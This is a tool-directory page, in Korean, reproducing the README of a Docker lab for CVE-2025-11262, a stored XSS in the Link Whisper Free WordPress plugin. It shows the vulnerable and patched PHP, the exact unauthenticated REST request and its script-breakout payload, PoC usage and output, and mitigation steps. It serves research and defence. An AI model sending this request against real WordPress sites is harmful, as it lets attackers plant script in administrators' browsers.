Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-11262-Lab — Docker lab for reproducing CVE-2025-11262, an unauthenticated stored blind XSS in Link Whisper Free WordPress plugin. Includes vulnerable and patched targets, PoC script, and root cause analysis. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2025-11262-lab
Vulnerability AnalysisWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2025-11262-lab

CVE-2025-11262-Lab

Docker lab for reproducing CVE-2025-11262, an unauthenticated stored blind XSS in Link Whisper Free WordPress plugin. Includes vulnerable and patched targets, PoC script, and root cause analysis.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2개월 전아직 검토되지 않음

CVE-2025-11262 - Link Whisper Free 인증되지 않은 저장형 블라인드 XSS

요약

이 저장소는 WordPress 플러그인 Link Whisper Free에 영향을 미치는 인증되지 않은 저장형 크로스 사이트 스크립팅 문제인 CVE-2025-11262를 재현하기 위한 로컬 Docker 랩을 포함합니다.

이 랩은 두 가지 플러그인 버전을 비교합니다:

서비스플러그인 버전목적URL
vuln0.9.0취약한 대상http://127.0.0.1:8081
patched0.9.1패치된 비교 대상http://127.0.0.1:8082

시연된 취약점 체인은 다음과 같습니다:

root@kitploit:~
인증되지 않은 REST 요청
→ 공격자가 제어하는 user_id가 저장됨
→ 권한 있는 WordPress 사용자가 Link Whisper AI Subscription 페이지를 엶
→ 저장된 값이 관리자 JavaScript 컨텍스트에 렌더링됨
→ alert("CVE-2025-11262-LAB")이 취약한 버전에서 실행됨

공격자는 저장된 페이로드를 심기 위해 로그인할 필요가 없습니다. JavaScript는 나중에 권한 있는 WordPress 사용자가 영향을 받는 관리자 페이지를 열 때 실행됩니다.

이 랩은 통제된 로컬 연구, 소스 수준 이해 및 포트폴리오 시연 전용으로 설계되었습니다.

검증된 사실

다음은 Root Cause Summary 부분입니다. README에 바로 대체할 수 있습니다. public-safe이며, vuln_detail.txt와 같은 내부 파일을 언급하지 않고 현재 사용 중인 lab/source를 기반으로 합니다.

근본 원인 요약

CVE-2025-11262는 Link Whisper Free 0.9.0에서 저장형 JavaScript 주입 체인으로 인해 발생합니다.

이 문제는 단일 이스케이프 호출 누락이 아닙니다. 여러 안전하지 않은 동작의 체인입니다:

root@kitploit:~
인증되지 않은 REST 엔드포인트
→ user_id의 불충분한 검증
→ wpil_ai_access_user_id에 영구 저장
→ 관리자 JavaScript 컨텍스트로 안전하지 않은 렌더링
→ 권한 있는 사용자가 AI Subscription 페이지를 열 때 저장형 XSS 발생

인증되지 않은 REST 엔드포인트

Link Whisper Free는 플러그인 REST 네임스페이스 아래에 AI 인증 REST 엔드포인트를 등록합니다:

root@kitploit:~
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';

엔드포인트는 POST 경로로 등록됩니다:

root@kitploit:~
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

권한 콜백이 __return_true이므로 엔드포인트는 인증 없이 접근 가능합니다.

랩에서 실제 엔드포인트는 다음과 같습니다:

root@kitploit:~
/wp-json/link-whisper/ai-auth

즉, 인증되지 않은 공격자는 WordPress 세션, nonce 또는 관리자 계정 없이 엔드포인트에 요청을 보낼 수 있습니다.

0.9.0에서 취약한 입력 처리

Link Whisper Free 0.9.0에서 핸들러는 REST 요청에서 공격자가 제어하는 매개변수를 읽습니다:

root@kitploit:~
public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

취약한 동작은 약한 검증 조건입니다:

root@kitploit:~
if(!empty($token) && false !== strpos($token, 'ai-')){

이것은 제공된 액세스 토큰에 문자열 ai-가 포함되어 있는지만 확인합니다.

user_id는 저장되기 전에 엄격한 검증이 없습니다:

root@kitploit:~
update_option('wpil_ai_access_user_id', $user_id);

결과적으로 공격자가 제어하는 JavaScript가 WordPress 옵션 테이블에 저장될 수 있습니다.

영구 저장

공격자가 제어하는 user_id 값은 WordPress 옵션에 저장됩니다:

root@kitploit:~
wpil_ai_access_user_id

이 랩에서 PoC는 다음 로컬 전용 페이로드를 보냅니다:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

취약한 서비스에서 페이로드는 wpil_ai_access_user_id의 값으로 저장됩니다.

공격자는 페이로드를 심기 위해 로그인할 필요가 없습니다. 페이로드는 인증되지 않은 REST 엔드포인트를 통해 심어집니다.

관리자 JavaScript 싱크

저장된 값은 나중에 플러그인 설정 로직을 통해 검색됩니다:

root@kitploit:~
public static function get_linkwhisper_ai_user_id(){
    return get_option('wpil_ai_access_user_id', '');
}

값은 $ai_id에 할당되고 AI Subscription 관리자 페이지로 렌더링됩니다.

Link Whisper Free 0.9.0에서 값은 JavaScript 문자열에 직접 삽입됩니다:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo $ai_id;?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})

$ai_id가 JavaScript 컨텍스트에 삽입되기 전에 이스케이프되지 않으므로 저장된 페이로드가 의도된 문자열을 벗어나 관리자 페이지가 열릴 때 JavaScript를 실행할 수 있습니다.

랩 페이로드를 사용하면 취약한 렌더링 출력은 다음과 동등해집니다:

root@kitploit:~
body: JSON.stringify({
    ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
    subscription_id: ""
})

브라우저에서 주입된 닫는 </script> 태그가 원래 스크립트 블록을 종료하고 주입된 <script> 블록이 실행됩니다.

트리거 조건

페이로드는 인증되지 않은 공격자에 의해 심어지지만, 실행은 권한 있는 WordPress 사용자가 영향을 받는 관리자 페이지를 열어야 합니다:

root@kitploit:~
/wp-admin/admin.php?page=link_whisper_ai_subscription

이 랩에서 영향을 받는 페이지는 WordPress 관리자로 열려 경고 대화상자를 트리거합니다.

따라서 이 문제는 Link Whisper AI Subscription 관리자 페이지에 접근할 수 있는 인증된 WordPress 관리자 또는 권한 있는 사용자를 대상으로 하는 인증되지 않은 저장형 XSS입니다.

0.9.1의 패치 동작

Link Whisper Free 0.9.1은 AI 인증 값을 저장하기 전에 더 엄격한 검증을 추가합니다.

패치된 핸들러는 토큰과 사용자 ID가 엄격한 형식과 일치해야 합니다:

root@kitploit:~
if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

user_id에 추가된 중요한 검증은:

root@kitploit:~
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)

이것은 임의의 JavaScript가 AI 사용자 ID로 저장되는 것을 방지합니다.

버전 0.9.1은 또한 JavaScript 컨텍스트로 렌더링하기 전에 값을 이스케이프합니다:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

따라서 패치는 두 지점에서 문제를 완화합니다:

root@kitploit:~
입력 검증 (저장 전)
출력 이스케이프 (JavaScript 렌더링 전)

랩에서 확인된 동작

랩은 0.9.0과 0.9.1의 차이를 확인합니다.

Link Whisper Free 0.9.0에서:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ "ok" 반환
→ 페이로드를 wpil_ai_access_user_id에 저장
→ AI Subscription 관리자 페이지를 열면 alert("CVE-2025-11262-LAB") 트리거

Link Whisper Free 0.9.1에서:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ 여전히 "ok"를 반환할 수 있음
→ 페이로드를 저장하지 않음
→ AI Subscription 관리자 페이지를 열어도 알림이 트리거되지 않음

HTTP 응답만으로는 대상이 취약한지 판단하기에 충분하지 않습니다. 두 버전 모두 "ok"를 반환할 수 있기 때문입니다. 의미 있는 동작 차이는 페이로드가 저장되고 나중에 관리자 JavaScript 컨텍스트에서 렌더링되는지 여부입니다.

랩 아키텍처

랩은 Docker Compose를 통해 두 개의 격리된 WordPress 인스턴스와 두 개의 별도 MySQL 데이터베이스를 실행합니다.

root@kitploit:~
.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

Docker 엔트리포인트는 자동으로:

  • WordPress와 데이터베이스를 기다림
  • 필요한 경우 WordPress 설치
  • Link Whisper Free 활성화
  • 재현에 필요한 관리자 페이지 준비
  • 랩 로그인 세부 정보 출력

두 서비스의 기본 WordPress 관리자 자격 증명:

root@kitploit:~
admin / AdminPassw0rd!

요구 사항

  • Docker Desktop 또는 Docker Engine
  • Docker Compose v2
  • Python 3
  • 이미지 빌드 중 인터넷 접속 필요 (Dockerfile이 WordPress.org에서 플러그인 패키지를 다운로드하기 때문)

빠른 시작

랩 빌드 및 시작:

root@kitploit:~
docker compose down -v
docker compose build --no-cache
docker compose up -d

컨테이너 확인:

root@kitploit:~
docker compose ps

예상 노출 서비스:

root@kitploit:~
취약 대상: http://127.0.0.1:8081
패치 대상: http://127.0.0.1:8082

설정 로그도 확인할 수 있습니다:

root@kitploit:~
docker compose logs vuln patched

성공적인 설정은 각 WordPress 인스턴스에서 Link Whisper가 활성화된 것을 보여줍니다.

PoC 사용법

취약한 서비스에 대해 PoC 실행:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

PoC는 인증되지 않은 REST 엔드포인트를 통해 다음 로컬 전용 페이로드를 전송합니다:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

스크립트가 실행된 후, 브라우저에서 출력된 관리자 URL을 열고 다음으로 로그인하세요:

root@kitploit:~
admin / AdminPassw0rd!

취약한 서비스에서 브라우저는 다음을 포함하는 경고를 표시해야 합니다:

root@kitploit:~
CVE-2025-11262-LAB

비교를 위해 패치된 서비스에 대해 동일한 PoC를 실행하세요:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

그런 다음 패치된 서비스의 출력된 관리자 URL을 엽니다. 알림이 트리거되지 않아야 합니다.

예상 출력

취약 대상:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

패치 대상:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

HTTP 응답만으로는 대상이 취약한지 판단하기에 충분하지 않습니다. 중요한 차이는 권한 있는 사용자가 영향을 받는 관리자 페이지를 연 후 브라우저 동작입니다.

스크린샷 증거

CVE-2025-11262 vulnerable alert screenshot

제안된 스크린샷 대상:

root@kitploit:~
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

스크린샷에는 다음과 같은 브라우저 경고가 표시되어야 합니다:

root@kitploit:~
CVE-2025-11262-LAB

PoC 작동 방식

PoC는 의도적으로 작으며 대상 URL만 필요합니다:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

다음으로 POST 요청을 전송합니다:

root@kitploit:~
/wp-json/link-whisper/ai-auth

다음 양식 필드와 함께:

root@kitploit:~
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

취약한 서비스에서 저장된 값은 나중에 AI Subscription 페이지로 렌더링됩니다. 관리자가 해당 페이지를 열면 JavaScript가 실행됩니다.

패치된 서비스에서는 동일한 페이로드로 인해 알림이 발생하지 않아야 합니다.

유용한 검증 명령

플러그인 버전 확인:

root@kitploit:~
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper

취약한 서비스가 페이로드를 저장했는지 확인:

root@kitploit:~
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root

예상 취약 값:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

패치된 서비스 확인:

root@kitploit:~
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root

예상 패치 동작:

root@kitploit:~
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?

REST 엔드포인트 접근 로그 확인:

root@kitploit:~
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'

완화 및 패치 노트

Link Whisper Free를 0.9.1 이상으로 업그레이드하세요.

패치는 영향을 받는 AI 인증 흐름 주변에 더 엄격한 검증과 더 안전한 출력 처리를 추가하여 이 랩 페이로드가 저장되고 렌더링되는 것을 방지합니다.

프로덕션 환경에서는 다음도 고려하세요:

  • WordPress 플러그인을 최신 상태로 유지
  • 관리자 접근 제한
  • 플러그인 REST 엔드포인트에 대한 예상치 못한 요청 모니터링
  • WordPress 옵션에서 의심스러운 스크립트 유사 값 검토
  • 적절한 경우 심층 방어 필터링 적용

정리

컨테이너, 네트워크, 볼륨 중지 및 제거:

root@kitploit:~
docker compose down -v

원하는 경우 로컬로 빌드된 이미지 제거:

root@kitploit:~
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true

안전 경계

이 랩은 로컬 보안 연구 및 통제된 시연 전용입니다.

소유하지 않거나 테스트 권한이 없는 시스템에 대해 PoC를 실행하지 마세요.

이 랩에서 실제 자격 증명, 프로덕션 비밀 또는 외부 콜백을 사용하지 마세요.

PoC는 스크린샷 증거를 위해 의도적으로 가시적인 alert() 마커를 사용합니다. 자격 증명 도용, 세션 도용, 랩 외부 지속성 또는 자동화된 관리자 작업을 위한 페이로드는 포함하지 않습니다.

참고 자료

  • GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
    https://github.com/advisories/GHSA-7h4c-hr9j-8q85

  • Wordfence Intelligence: Link Whisper Free 취약점 데이터베이스 항목
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper

  • WordPress.org Plugin Directory: Link Whisper Free
    https://wordpress.org/plugins/link-whisper/

  • 취약한 랩에서 사용된 WordPress.org 플러그인 패키지
    https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip

  • 패치된 랩에서 사용된 WordPress.org 플러그인 패키지
    https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip

  • WordPress 플러그인 소스 브라우저: Link Whisper 0.9.0 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php

  • WordPress 플러그인 소스 브라우저: Link Whisper 0.9.1 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php

  • WordPress 플러그인 소스 브라우저: Link Whisper 0.9.0 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php

  • WordPress 플러그인 소스 브라우저: Link Whisper 0.9.1 Settings.php

도구 다운로드
주장증거이 랩에서 확인하는 방법
Link Whisper Free 0.9.0이 취약합니다.공개 권고는 Link Whisper Free 버전 0.9.0까지 영향을 받는 것으로 식별합니다.PoC를 http://127.0.0.1:8081에 대해 실행하고 출력된 관리자 URL을 엽니다.
Link Whisper Free 0.9.1에는 수정 사항이 포함되어 있습니다.공개 권고 및 변경 로그 데이터는 0.9.1을 패치된 버전으로 식별합니다.동일한 PoC를 http://127.0.0.1:8082에 대해 실행하면 알림이 나타나지 않아야 합니다.
페이로드 심기는 인증되지 않습니다.PoC는 WordPress 쿠키, 로그인 또는 nonce 없이 POST 요청을 보냅니다.poc/poc.py를 검사하면 --url만 필요합니다.
가시적인 영향은 WordPress 관리자 영역에서 트리거됩니다.저장된 값은 권한 있는 사용자가 Link Whisper AI Subscription 페이지를 열 때 렌더링됩니다.PoC 실행 후 admin으로 로그인하고 출력된 관리자 URL을 엽니다.
패치된 대상은 HTTP 계층에서 여전히 "ok"를 반환할 수 있습니다.로컬 테스트에서 두 대상 모두 "ok"를 반환할 수 있습니다. 의미 있는 차이는 페이로드가 저장되고 실행되는지 여부입니다.8081 및 8082에서 브라우저 동작을 비교합니다.

https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php